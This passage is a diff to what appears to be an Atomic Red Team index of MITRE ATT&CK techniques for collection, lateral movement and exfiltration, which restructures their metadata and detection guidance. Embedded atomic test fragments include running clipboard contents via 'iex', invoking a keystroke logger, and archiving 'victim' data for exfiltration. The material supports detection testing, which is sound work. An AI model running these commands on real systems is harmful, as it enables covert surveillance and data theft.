May 16). Lateral Movement with PowerShell[slides]. Retrieved November 12, 2014. source_name: Jacobsen 2014 - url: https://www.slideshare.net/kieranjacobsen/lateral-movement-with-power-shell-2 object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 - created: '2017-05-31T21:30:33.723Z' - created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 - x_mitre_platforms: - - Windows + x_mitre_version: '1.0' x_mitre_data_sources: - File monitoring - Authentication logs - Netflow/Enclave netflow - - Process command-line parameters - Process monitoring + - Process command-line parameters + x_mitre_detection: Monitor use of WinRM within an environment by tracking service + execution. If it is not normally used or is disabled, then this may be an + indicator of suspicious behavior. Monitor processes created and actions taken + by the WinRM process or a WinRM invoked script to correlate it with other + related events. x_mitre_permissions_required: - User - Administrator + x_mitre_remote_support: true + x_mitre_platforms: + - Windows x_mitre_system_requirements: - WinRM listener turned on and configured on remote system - x_mitre_remote_support: true - id: attack-pattern--c3bce4f4-9795-46c6-976e-8676300bbc39 - modified: '2018-04-18T17:59:24.739Z' type: attack-pattern + kill_chain_phases: + - phase_name: execution + kill_chain_name: mitre-attack + - phase_name: lateral-movement + kill_chain_name: mitre-attack + modified: '2018-10-17T00:14:20.652Z' + created: '2017-05-31T21:30:33.723Z' identifier: T1028 atomic_tests: - name: Enable Windows Remote Management @@ -16173,45 +16207,40 @@ lateral-movement: collection: T1123: technique: + id: attack-pattern--1035cdf2-3e5f-446f-a7a7-e8f6d7925967 + created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 name: Audio Capture description: |- An adversary can leverage a computer's peripheral devices (e.g., microphones and webcams) or applications (e.g., voice and video call services) to capture audio recordings for the purpose of listening into sensitive conversations to gather information. Malware or scripts may be used to interact with the devices through an available API provided by the operating system or an application to capture audio. Audio files may be written to disk and exfiltrated later. - - Detection: Detection of this technique may be difficult due to the various APIs that may be used. Telemetry data regarding API use may not be useful depending on how a system is normally used, but may provide context to other potentially malicious activity occurring on a system. - - Behavior that could indicate technique use include an unknown or unusual process accessing APIs associated with devices or software that interact with the microphone, recording devices, or recording software, and a process periodically writing files to disk that contain audio data. - - Platforms: Linux, macOS, Windows - - Data Sources: API monitoring, Process monitoring, File monitoring - - Permissions Required: User - kill_chain_phases: - - kill_chain_name: mitre-attack - phase_name: collection external_references: - - url: https://attack.mitre.org/wiki/Technique/T1123 + - external_id: T1123 + url: https://attack.mitre.org/techniques/T1123 source_name: mitre-attack - external_id: T1123 object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 - created: '2017-05-31T21:31:34.528Z' - created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 - x_mitre_platforms: - - Linux - - macOS - - Windows + x_mitre_version: '1.0' x_mitre_data_sources: - API monitoring - Process monitoring - File monitoring + x_mitre_detection: |- + Detection of this technique may be difficult due to the various APIs that may be used. Telemetry data regarding API use may not be useful depending on how a system is normally used, but may provide context to other potentially malicious activity occurring on a system. + + Behavior that could indicate technique use include an unknown or unusual process accessing APIs associated with devices or software that interact with the microphone, recording devices, or recording software, and a process periodically writing files to disk that contain audio data. x_mitre_permissions_required: - User - id: attack-pattern--1035cdf2-3e5f-446f-a7a7-e8f6d7925967 - modified: '2018-04-18T17:59:24.739Z' + x_mitre_platforms: + - Linux + - macOS + - Windows type: attack-pattern + kill_chain_phases: + - phase_name: collection + kill_chain_name: mitre-attack + modified: '2018-10-17T00:14:20.652Z' + created: '2017-05-31T21:31:34.528Z' identifier: T1123 atomic_tests: - name: SourceRecorder via Windows command prompt @@ -16245,54 +16274,55 @@ collection: ' T1119: technique: + id: attack-pattern--30208d3e-0d6b-43c8-883e-44462a514619 + created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 name: Automated Collection description: "Once established within a system or network, an adversary may use automated techniques for collecting internal data. Methods for performing - this technique could include use of Scripting to search for and copy information - fitting set criteria such as file type, location, or name at specific time - intervals. This functionality could also be built into remote access tools. - \n\nThis technique may incorporate use of other techniques such as File and - Directory Discovery and Remote File Copy to identify and move files.\n\nDetection: - Depending on the method used, actions could include common file system commands - and parameters on the command-line interface within batch files or scripts. - A sequence of actions like this may be unusual, depending on the system and - network environment. Automated collection may occur along with other techniques - such as Data Staged. As such, file access monitoring that shows an unusual - process performing sequential file opens and potentially copy actions to another - location on the file system for many files at once may indicate automated - collection behavior. Remote access tools with built-in features may interact - directly with the Windows API to gather data. Data may also be acquired through - Windows system management tools such as Windows Management Instrumentation - and PowerShell.\n\nPlatforms: Linux, macOS, Windows\n\nData Sources: File - monitoring, Process command-line parameters, Data loss prevention\n\nPermissions - Required: User\n\nSystem Requirements: Permissions to access directories and - files that store information of interest." - kill_chain_phases: - - kill_chain_name: mitre-attack - phase_name: collection + this technique could include use of [Scripting](https://attack.mitre.org/techniques/T1064) + to search for and copy information fitting set criteria such as file type, + location, or name at specific time intervals. This functionality could also + be built into remote access tools. \n\nThis technique may incorporate use + of other techniques such as [File and Directory Discovery](https://attack.mitre.org/techniques/T1083) + and [Remote File Copy](https://attack.mitre.org/techniques/T1105) to identify + and move files." external_references: - - url: https://attack.mitre.org/wiki/Technique/T1119 + - external_id: T1119 + url: https://attack.mitre.org/techniques/T1119 source_name: mitre-attack - external_id: T1119 object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 - created: '2017-05-31T21:31:27.985Z' - created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 - x_mitre_platforms: - - Linux - - macOS - - Windows + x_mitre_version: '1.0' x_mitre_data_sources: - File monitoring - - Process command-line parameters - Data loss prevention + - Process command-line parameters + x_mitre_detection: Depending on the method used, actions could include common + file system commands and parameters on the command-line interface within batch + files or scripts. A sequence of actions like this may be unusual, depending + on the system and network environment. Automated collection may occur along + with other techniques such as [Data Staged](https://attack.mitre.org/techniques/T1074). + As such, file access monitoring that shows an unusual process performing sequential + file opens and potentially copy actions to another location on the file system + for many files at once may indicate automated collection behavior. Remote + access tools with built-in features may interact directly with the Windows + API to gather data. Data may also be acquired through Windows system management + tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) + and [PowerShell](https://attack.mitre.org/techniques/T1086). x_mitre_permissions_required: - User + x_mitre_platforms: + - Linux + - macOS + - Windows x_mitre_system_requirements: - Permissions to access directories and files that store information of interest. - id: attack-pattern--30208d3e-0d6b-43c8-883e-44462a514619 - modified: '2018-04-18T17:59:24.739Z' type: attack-pattern + kill_chain_phases: + - phase_name: collection + kill_chain_name: mitre-attack + modified: '2018-10-17T00:14:20.652Z' + created: '2017-05-31T21:31:27.985Z' identifier: T1119 atomic_tests: - name: Automated Collection Command Prompt @@ -16320,43 +16350,44 @@ collection: ' T1115: technique: + id: attack-pattern--30973a08-aed9-4edf-8604-9084ce1b5c4f + created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 name: Clipboard Data description: "Adversaries may collect data stored in the Windows clipboard from - users copying information within or between applications. \n\n===Windows===\n\nApplications + users copying information within or between applications. \n\n### Windows\n\nApplications can access clipboard data by using the Windows API. (Citation: MSDN Clipboard) - \n\n===Mac===\n\nOSX provides a native command, pbpaste, to grab - clipboard contents (Citation: Operating with EmPyre).\n\nDetection: Access - to the clipboard is a legitimate function of many applications on a Windows - system. If an organization chooses to monitor for this behavior, then the - data will likely need to be correlated against other suspicious or non-user-driven - activity.\n\nPlatforms: Linux, macOS, Windows\n\nData Sources: API monitoring" - kill_chain_phases: - - kill_chain_name: mitre-attack - phase_name: collection + \n\n### Mac\n\nOSX provides a native command, pbpaste, to grab + clipboard contents (Citation: Operating with EmPyre)." external_references: - - url: https://attack.mitre.org/wiki/Technique/T1115 + - external_id: T1115 + url: https://attack.mitre.org/techniques/T1115 source_name: mitre-attack - external_id: T1115 - - description: Microsoft. (n.d.). About the Clipboard. Retrieved March 29, 2016. + - url: https://msdn.microsoft.com/en-us/library/ms649012 + description: Microsoft. (n.d.). About the Clipboard. Retrieved March 29, 2016. source_name: MSDN Clipboard - url: https://msdn.microsoft.com/en-us/library/ms649012 - - description: rvrsh3ll. (2016, May 18). Operating with EmPyre. Retrieved July + - url: http://www.rvrsh3ll.net/blog/empyre/operating-with-empyre/ + description: rvrsh3ll. (2016, May 18). Operating with EmPyre. Retrieved July 12, 2017. source_name: Operating with EmPyre - url: http://www.rvrsh3ll.net/blog/empyre/operating-with-empyre/ object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 - created: '2017-05-31T21:31:25.967Z' - created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 + x_mitre_version: '1.0' + x_mitre_data_sources: + - API monitoring + x_mitre_detection: Access to the clipboard is a legitimate function of many + applications on a Windows system. If an organization chooses to monitor for + this behavior, then the data will likely need to be correlated against other + suspicious or non-user-driven activity. x_mitre_platforms: - Linux - - macOS - Windows - x_mitre_data_sources: - - API monitoring - id: attack-pattern--30973a08-aed9-4edf-8604-9084ce1b5c4f - modified: '2018-04-18T17:59:24.739Z' + - macOS type: attack-pattern + kill_chain_phases: + - phase_name: collection + kill_chain_name: mitre-attack + modified: '2018-10-17T00:14:20.652Z' + created: '2017-05-31T21:31:25.967Z' identifier: T1115 atomic_tests: - name: Utilize Clipboard to store or execute commands from @@ -16384,41 +16415,38 @@ collection: Get-Clipboard | iex T1074: technique: + id: attack-pattern--7dd95ff6-712e-4056-9626-312ea4ab4c5e + created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 name: Data Staged description: |- - Collected data is staged in a central location or directory prior to Exfiltration. Data may be kept in separate files or combined into one file through techniques such as Data Compressed or Data Encrypted. - - Interactive command shells may be used, and common functionality within cmd and bash may be used to copy data into a staging location. + Collected data is staged in a central location or directory prior to Exfiltration. Data may be kept in separate files or combined into one file through techniques such as [Data Compressed](https://attack.mitre.org/techniques/T1002) or [Data Encrypted](https://attack.mitre.org/techniques/T1022). - Detection: Processes that appear to be reading files from disparate locations and writing them to the same directory or file may be an indication of data being staged, especially if they are suspected of performing encryption or compression on the files. - - Monitor processes and command-line arguments for actions that could be taken to collect and combine files. Remote access tools with built-in features may interact directly with the Windows API to gather and copy to a location. Data may also be acquired and staged through Windows system management tools such as Windows Management Instrumentation and PowerShell. - - Platforms: Linux, macOS, Windows - - Data Sources: File monitoring, Process monitoring, Process command-line parameters - kill_chain_phases: - - kill_chain_name: mitre-attack - phase_name: collection + Interactive command shells may be used, and common functionality within [cmd](https://attack.mitre.org/software/S0106) and bash may be used to copy data into a staging location. external_references: - - url: https://attack.mitre.org/wiki/Technique/T1074 + - external_id: T1074 + url: https://attack.mitre.org/techniques/T1074 source_name: mitre-attack - external_id: T1074 object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 - created: '2017-05-31T21:30:58.938Z' - created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 - x_mitre_platforms: - - Linux - - macOS - - Windows + x_mitre_version: '1.0' x_mitre_data_sources: - File monitoring - Process monitoring - Process command-line parameters - id: attack-pattern--7dd95ff6-712e-4056-9626-312ea4ab4c5e - modified: '2018-04-18T17:59:24.739Z' + x_mitre_detection: |- + Processes that appear to be reading files from disparate locations and writing them to the same directory or file may be an indication of data being staged, especially if they are suspected of performing encryption or compression on the files. + + Monitor processes and command-line arguments for actions that could be taken to collect and combine files. Remote access tools with built-in features may interact directly with the Windows API to gather and copy to a location. Data may also be acquired and staged through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1086). + x_mitre_platforms: + - Linux + - macOS + - Windows type: attack-pattern + kill_chain_phases: + - phase_name: collection + kill_chain_name: mitre-attack + modified: '2018-10-17T00:14:20.652Z' + created: '2017-05-31T21:30:58.938Z' identifier: T1074 atomic_tests: - name: Stage data from Discovery.bat @@ -16436,118 +16464,108 @@ collection: ' '': technique: + id: attack-pattern--6faf650d-bf31-4eb4-802d-1000cf38efaf + created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 name: Video Capture description: |- An adversary can leverage a computer's peripheral devices (e.g., integrated cameras or webcams) or applications (e.g., video call services) to capture video recordings for the purpose of gathering information. Images may also be captured from devices or applications, potentially in specified intervals, in lieu of video files. - Malware or scripts may be used to interact with the devices through an available API provided by the operating system or an application to capture video or images. Video or image files may be written to disk and exfiltrated later. This technique differs from Screen Capture due to use of specific devices or applications for video recording rather than capturing the victim's screen. - - In macOS, there are a few different malware samples that record the user's webcam such as FruitFly and Proton. (Citation: objective-see 2017 review) - - Detection: Detection of this technique may be difficult due to the various APIs that may be used. Telemetry data regarding API use may not be useful depending on how a system is normally used, but may provide context to other potentially malicious activity occurring on a system. - - Behavior that could indicate technique use include an unknown or unusual process accessing APIs associated with devices or software that interact with the video camera, recording devices, or recording software, and a process periodically writing files to disk that contain video or camera image data. - - Platforms: Windows, macOS - - Data Sources: Process monitoring, File monitoring, API monitoring + Malware or scripts may be used to interact with the devices through an available API provided by the operating system or an application to capture video or images. Video or image files may be written to disk and exfiltrated later. This technique differs from [Screen Capture](https://attack.mitre.org/techniques/T1113) due to use of specific devices or applications for video recording rather than capturing the victim's screen. - Permissions Required: User - - Contributors: Praetorian - kill_chain_phases: - - kill_chain_name: mitre-attack - phase_name: collection + In macOS, there are a few different malware samples that record the user's webcam such as FruitFly and Proton. (Citation: objective-see 2017 review) external_references: - - url: https://attack.mitre.org/wiki/Technique/T1125 + - external_id: T1125 + url: https://attack.mitre.org/techniques/T1125 source_name: mitre-attack - external_id: T1125 - - description: Patrick Wardle. (n.d.). Retrieved March 20, 2018. + - url: https://objective-see.com/blog/blog_0x25.html + description: Patrick Wardle. (n.d.). Retrieved March 20, 2018. source_name: objective-see 2017 review - url: https://objective-see.com/blog/blog%200x25.html object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 - created: '2017-05-31T21:31:37.917Z' - created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 - x_mitre_platforms: - - Windows - - macOS + x_mitre_version: '1.0' + x_mitre_contributors: + - Praetorian x_mitre_data_sources: - Process monitoring - File monitoring - API monitoring + x_mitre_detection: |- + Detection of this technique may be difficult due to the various APIs that may be used. Telemetry data regarding API use may not be useful depending on how a system is normally used, but may provide context to other potentially malicious activity occurring on a system. + + Behavior that could indicate technique use include an unknown or unusual process accessing APIs associated with devices or software that interact with the video camera, recording devices, or recording software, and a process periodically writing files to disk that contain video or camera image data. x_mitre_permissions_required: - User - x_mitre_contributors: - - Praetorian - id: attack-pattern--6faf650d-bf31-4eb4-802d-1000cf38efaf - modified: '2018-04-18T17:59:24.739Z' + x_mitre_platforms: + - Windows + - macOS type: attack-pattern + kill_chain_phases: + - phase_name: collection + kill_chain_name: mitre-attack + modified: '2018-10-17T00:14:20.652Z' + created: '2017-05-31T21:31:37.917Z' atomic_tests: [] T1056: technique: + id: attack-pattern--bb5a00de-e086-4859-a231-fa793f6797e2 + created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 name: Input Capture description: |- - Adversaries can use methods of capturing user input for obtaining credentials for Valid Accounts and information Collection that include keylogging and user input field interception. + Adversaries can use methods of capturing user input for obtaining credentials for [Valid Accounts](https://attack.mitre.org/techniques/T1078) and information Collection that include keylogging and user input field interception. Keylogging is the most prevalent type of input capture, with many different ways of intercepting keystrokes, (Citation: Adventures of a Keystroke) but other methods exist to target information for specific purposes, such as performing a UAC prompt or wrapping the Windows default credential provider. (Citation: Wrightson 2012) - Keylogging is likely to be used to acquire credentials for new access opportunities when Credential Dumping efforts are not effective, and may require an adversary to remain passive on a system for a period of time before an opportunity arises. - - Adversaries may also install code on externally facing portals, such as a VPN login page, to capture and transmit credentials of users who attempt to log into the service. This variation on input capture may be conducted post-compromise using legitimate administrative access as a backup measure to maintain network access through External Remote Services and Valid Accounts or as part of the initial compromise by exploitation of the externally facing web service. (Citation: Volexity Virtual Private Keylogging) + Keylogging is likely to be used to acquire credentials for new access opportunities when [Credential Dumping](https://attack.mitre.org/techniques/T1003) efforts are not effective, and may require an adversary to remain passive on a system for a period of time before an opportunity arises. - Detection: Keyloggers may take many forms, possibly involving modification to the Registry and installation of a driver, setting a hook, or polling to intercept keystrokes. Commonly used API calls include SetWindowsHook, GetKeyState, and GetAsynceyState. (Citation: Adventures of a Keystroke) Monitor the Registry and file system for such changes and detect driver installs, as well as looking for common keylogging API calls. API calls alone are not an indicator of keylogging, but may provide behavioral data that is useful when combined with other information such as new files written to disk and unusual processes. - - Monitor the Registry for the addition of a Custom Credential Provider. (Citation: Wrightson 2012) Detection of compromised Valid Accounts in use by adversaries may help to catch the result of user input interception if new techniques are used. - - Platforms: Linux, macOS, Windows - - Data Sources: Windows Registry, Kernel drivers, Process monitoring, API monitoring - - Permissions Required: Administrator, SYSTEM - - Contributors: John Lambert, Microsoft Threat Intelligence Center - kill_chain_phases: - - kill_chain_name: mitre-attack - phase_name: collection - - kill_chain_name: mitre-attack - phase_name: credential-access + Adversaries may also install code on externally facing portals, such as a VPN login page, to capture and transmit credentials of users who attempt to log into the service. This variation on input capture may be conducted post-compromise using legitimate administrative access as a backup measure to maintain network access through [External Remote Services](https://attack.mitre.org/techniques/T1133) and [Valid Accounts](https://attack.mitre.org/techniques/T1078) or as part of the initial compromise by exploitation of the externally facing web service. (Citation: Volexity Virtual Private Keylogging) external_references: - - url: https://attack.mitre.org/wiki/Technique/T1056 + - external_id: T1056 + url: https://attack.mitre.org/techniques/T1056 source_name: mitre-attack - external_id: T1056 - - description: 'Tinaztepe, E. (n.d.). The Adventures of a Keystroke: An in-depth + - external_id: CAPEC-569 + url: https://capec.mitre.org/data/definitions/569.html + source_name: capec + - url: http://opensecuritytraining.info/Keylogging_files/The%20Adventures%20of%20a%20Keystroke.pdf + description: 'Tinaztepe, E. (n.d.). The Adventures of a Keystroke: An in-depth look into keyloggers on Windows. Retrieved April 27, 2016.' source_name: Adventures of a Keystroke - - description: Wrightson, T. (2012, January 2). CAPTURING WINDOWS 7 CREDENTIALS - AT LOGON USING CUSTOM CREDENTIAL PROVIDER. Retrieved November 12, 2014. - source_name: Wrightson 2012 - url: http://blog.leetsys.com/2012/01/02/capturing-windows-7-credentials-at-logon-using-custom-credential-provider/ - - description: 'Adair, S. (2015, October 7). Virtual Private Keylogging: Cisco + - url: https://www.volexity.com/blog/2015/10/07/virtual-private-keylogging-cisco-web-vpns-leveraged-for-access-and-persistence/ + description: 'Adair, S. (2015, October 7). Virtual Private Keylogging: Cisco Web VPNs Leveraged for Access and Persistence. Retrieved March 20, 2017.' source_name: Volexity Virtual Private Keylogging - url: https://www.volexity.com/blog/2015/10/07/virtual-private-keylogging-cisco-web-vpns-leveraged-for-access-and-persistence/ + - url: http://blog.leetsys.com/2012/01/02/capturing-windows-7-credentials-at-logon-using-custom-credential-provider/ + description: Wrightson, T. (2012, January 2). CAPTURING WINDOWS 7 CREDENTIALS + AT LOGON USING CUSTOM CREDENTIAL PROVIDER. Retrieved November 12, 2014. + source_name: Wrightson 2012 object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 - created: '2017-05-31T21:30:48.323Z' - created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 - x_mitre_platforms: - - Linux - - macOS - - Windows + x_mitre_version: '1.0' + x_mitre_contributors: + - John Lambert, Microsoft Threat Intelligence Center x_mitre_data_sources: - Windows Registry - Kernel drivers - Process monitoring - API monitoring + x_mitre_detection: |- + Keyloggers may take many forms, possibly involving modification to the Registry and installation of a driver, setting a hook, or polling to intercept keystrokes. Commonly used API calls include SetWindowsHook, GetKeyState, and GetAsyncKeyState. (Citation: Adventures of a Keystroke) Monitor the Registry and file system for such changes and detect driver installs, as well as looking for common keylogging API calls. API calls alone are not an indicator of keylogging, but may provide behavioral data that is useful when combined with other information such as new files written to disk and unusual processes. + + Monitor the Registry for the addition of a Custom Credential Provider. (Citation: Wrightson 2012) Detection of compromised [Valid Accounts](https://attack.mitre.org/techniques/T1078) in use by adversaries may help to catch the result of user input interception if new techniques are used. x_mitre_permissions_required: - Administrator - SYSTEM - x_mitre_contributors: - - John Lambert, Microsoft Threat Intelligence Center - id: attack-pattern--bb5a00de-e086-4859-a231-fa793f6797e2 - modified: '2018-04-18T17:59:24.739Z' + x_mitre_platforms: + - Linux + - macOS + - Windows type: attack-pattern + kill_chain_phases: + - phase_name: collection + kill_chain_name: mitre-attack + - phase_name: credential-access + kill_chain_name: mitre-attack + modified: '2018-10-17T00:14:20.652Z' + created: '2017-05-31T21:30:48.323Z' identifier: T1056 atomic_tests: - name: Input Capture @@ -16567,49 +16585,51 @@ collection: command: ".\\Get-Keystrokes.ps1 -LogPath #{filepath}\n" T1113: technique: + id: attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688 + created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 name: Screen Capture description: |- Adversaries may attempt to take screen captures of the desktop to gather information over the course of an operation. Screen capturing functionality may be included as a feature of a remote access tool used in post-compromise operations. - ===Mac=== + ### Mac On OSX, the native command screencapture is used to capture screenshots. - ===Linux=== + ### Linux On Linux, there is the native command xwd. (Citation: Antiquated Mac Malware) - - Detection: Monitoring for screen capture behavior will depend on the method used to obtain data from the operating system and write output files. Detection methods could include collecting information from unusual processes using API calls used to obtain image data, and monitoring for image files written to disk. The sensor data may need to be correlated with other events to identify malicious activity, depending on the legitimacy of this behavior within a given network environment. - - Platforms: Linux, macOS, Windows - - Data Sources: API monitoring, Process monitoring, File monitoring - kill_chain_phases: - - kill_chain_name: mitre-attack - phase_name: collection external_references: - - url: https://attack.mitre.org/wiki/Technique/T1113 + - external_id: T1113 + url: https://attack.mitre.org/techniques/T1113 source_name: mitre-attack - external_id: T1113 - - description: Thomas Reed. (2017, January 18). New Mac backdoor using antiquated + - url: https://blog.malwarebytes.com/threat-analysis/2017/01/new-mac-backdoor-using-antiquated-code/ + description: Thomas Reed. (2017, January 18). New Mac backdoor using antiquated code. Retrieved July 5, 2017. source_name: Antiquated Mac Malware - url: https://blog.malwarebytes.com/threat-analysis/2017/01/new-mac-backdoor-using-antiquated-code/ object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 - created: '2017-05-31T21:31:25.060Z' - created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 - x_mitre_platforms: - - Linux - - macOS - - Windows + x_mitre_version: '1.0' x_mitre_data_sources: - API monitoring - Process monitoring - File monitoring - id: attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688 - modified: '2018-04-18T17:59:24.739Z' + x_mitre_detection: Monitoring for screen capture behavior will depend on the + method used to obtain data from the operating system and write output files. + Detection methods could include collecting information from unusual processes + using API calls used to obtain image data, and monitoring for image files + written to disk. The sensor data may need to be correlated with other events + to identify malicious activity, depending on the legitimacy of this behavior + within a given network environment. + x_mitre_platforms: + - Linux + - macOS + - Windows type: attack-pattern + kill_chain_phases: + - phase_name: collection + kill_chain_name: mitre-attack + modified: '2018-10-17T00:14:20.652Z' + created: '2017-05-31T21:31:25.060Z' identifier: T1113 atomic_tests: - name: Screencapture @@ -16682,86 +16702,83 @@ collection: exfiltration: '': technique: + id: attack-pattern--4eeaf8a9-c86b-4954-a663-9555fb406466 + created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 name: Scheduled Transfer description: |- - Data exfiltration may be performed only at certain times of day or at certain intervals. This could be done to blend traffic patterns with normal activity or availability. + Data exfiltration may be performed only at certain times of day or at certain intervals. This could be done to blend traffic patterns with normal activity or availability. When scheduled exfiltration is used, other exfiltration techniques likely apply as well to transfer the information out of the network, such as Exfiltration Over Command and Control Channel and Exfiltration Over Alternative Protocol. - - Detection: Monitor process file access patterns and network behavior. Unrecognized processes or scripts that appear to be traversing file systems and sending network traffic may be suspicious. Network connections to the same destination that occur at the same time of day for multiple days are suspicious. - - Platforms: Linux, macOS, Windows - - Data Sources: Netflow/Enclave netflow, Process use of network, Process monitoring - - Requires Network: Yes - kill_chain_phases: - - kill_chain_name: mitre-attack - phase_name: exfiltration external_references: - - url: https://attack.mitre.org/wiki/Technique/T1029 + - external_id: T1029 + url: https://attack.mitre.org/techniques/T1029 source_name: mitre-attack - external_id: T1029 object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 - created: '2017-05-31T21:30:34.139Z' - created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 - x_mitre_platforms: - - Linux - - macOS - - Windows + x_mitre_version: '1.0' x_mitre_data_sources: - Netflow/Enclave netflow - Process use of network - Process monitoring + x_mitre_detection: Monitor process file access patterns and network behavior. + Unrecognized processes or scripts that appear to be traversing file systems + and sending network traffic may be suspicious. Network connections to the + same destination that occur at the same time of day for multiple days are + suspicious. x_mitre_network_requirements: true - id: attack-pattern--4eeaf8a9-c86b-4954-a663-9555fb406466 - modified: '2018-04-18T17:59:24.739Z' + x_mitre_platforms: + - Linux + - macOS + - Windows type: attack-pattern + kill_chain_phases: + - phase_name: exfiltration + kill_chain_name: mitre-attack + modified: '2018-10-17T00:14:20.652Z' + created: '2017-05-31T21:30:34.139Z' atomic_tests: [] T1002: technique: + id: attack-pattern--b9f5dbe2-4c55-4fc5-af2e-d42c1d182ec4 + created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 name: Data Compressed - description: |- - An adversary may compress data (e.g., sensitive documents) that is collected prior to exfiltration in order to make it portable and minimize the amount of data sent over the network. The compression is done separately from the exfiltration channel and is performed using a custom program or algorithm, or a more common compression library or utility such as 7zip, RAR, ZIP, or zlib. - - Detection: Compression software and compressed files can be detected in many ways. Common utilities that may be present on the system or brought in by an adversary may be detectable through process monitoring and monitoring for command-line arguments for known compression utilities. This may yield a significant amount of benign events, depending on how systems in the environment are typically used. - - If the communications channel is unencrypted, compressed files can be detected in transit during exfiltration with a network intrusion detection or data loss prevention system analyzing file headers. (Citation: Wikipedia File Header Signatures) - - Platforms: Linux, macOS, Windows - - Data Sources: File monitoring, Binary file metadata, Process command-line parameters, Process monitoring - - Requires Network: No - kill_chain_phases: - - kill_chain_name: mitre-attack - phase_name: exfiltration + description: An adversary may compress data (e.g., sensitive documents) that + is collected prior to exfiltration in order to make it portable and minimize + the amount of data sent over the network. The compression is done separately + from the exfiltration channel and is performed using a custom program or algorithm, + or a more common compression library or utility such as 7zip, RAR, ZIP, or + zlib. external_references: - - url: https://attack.mitre.org/wiki/Technique/T1002 + - external_id: T1002 + url: https://attack.mitre.org/techniques/T1002 source_name: mitre-attack - external_id: T1002 - - description: Wikipedia. (2016, March 31). List of file signatures. Retrieved + - url: https://en.wikipedia.org/wiki/List_of_file_signatures + description: Wikipedia. (2016, March 31). List of file signatures. Retrieved April 22, 2016. source_name: Wikipedia File Header Signatures - url: https://en.wikipedia.org/wiki/List%20of%20file%20signatures object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 - created: '2017-05-31T21:30:19.338Z' - created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 - x_mitre_platforms: - - Linux - - macOS - - Windows + x_mitre_version: '1.0' x_mitre_data_sources: - - File monitoring - Binary file metadata + - File monitoring - Process command-line parameters - Process monitoring + x_mitre_detection: |- + Compression software and compressed files can be detected in many ways. Common utilities that may be present on the system or brought in by an adversary may be detectable through process monitoring and monitoring for command-line arguments for known compression utilities. This may yield a significant amount of benign events, depending on how systems in the environment are typically used. + + If the communications channel is unencrypted, compressed files can be detected in transit during exfiltration with a network intrusion detection or data loss prevention system analyzing file headers. (Citation: Wikipedia File Header Signatures) x_mitre_network_requirements: false - id: attack-pattern--b9f5dbe2-4c55-4fc5-af2e-d42c1d182ec4 - modified: '2018-04-18T17:59:24.739Z' + x_mitre_platforms: + - Linux + - Windows + - macOS type: attack-pattern + kill_chain_phases: + - phase_name: exfiltration + kill_chain_name: mitre-attack + modified: '2018-10-17T00:14:20.652Z' + created: '2017-05-31T21:30:19.338Z' identifier: T1002 atomic_tests: - name: Compress Data for Exfiltration With PowerShell @@ -16822,63 +16839,57 @@ exfiltration: tar -cvzf /tmp/victim-tar.tar.gz T1022: technique: + id: attack-pattern--d54416bd-0803-41ca-870a-ce1af7c05638 + created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 name: Data Encrypted - description: "Data is encrypted before being exfiltrated in order to hide the - information that is being exfiltrated from detection or to make the exfiltration - less conspicuous upon inspection by a defender. The encryption is performed - by a utility, programming library, or custom algorithm on the data itself - and is considered separate from any encryption performed by the command and - control or file transfer protocol. Common file archive formats that can encrypt - files are RAR and zip.\n\nOther exfiltration techniques likely apply as well - to transfer the information out of the network, such as Exfiltration Over - Command and Control Channel and Exfiltration Over Alternative Protocol\n\nDetection: - Encryption software and encrypted files can be detected in many ways. Common - utilities that may be present on the system or brought in by an adversary - may be detectable through process monitoring and monitoring for command-line - arguments for known encryption utilities. This may yield a significant amount - of benign events, depending on how systems in the environment are typically - used. Often the encryption key is stated within command-line invocation of - the software. \n\nA process that loads the Windows DLL crypt32.dll may be - used to perform encryption, decryption, or verification of file signatures. - \n\nNetwork traffic may also be analyzed for entropy to determine if encrypted - data is being transmitted. (Citation: Zhang 2013) If the communications channel - is unencrypted, encrypted files of known file types can be detected in transit - during exfiltration with a network intrusion detection or data loss prevention - system analyzing file headers. (Citation: Wikipedia File Header Signatures)\n\nPlatforms: - Linux, macOS, Windows\n\nData Sources: File monitoring, Binary file metadata, - Process command-line parameters, Process monitoring\n\nRequires Network: No" - 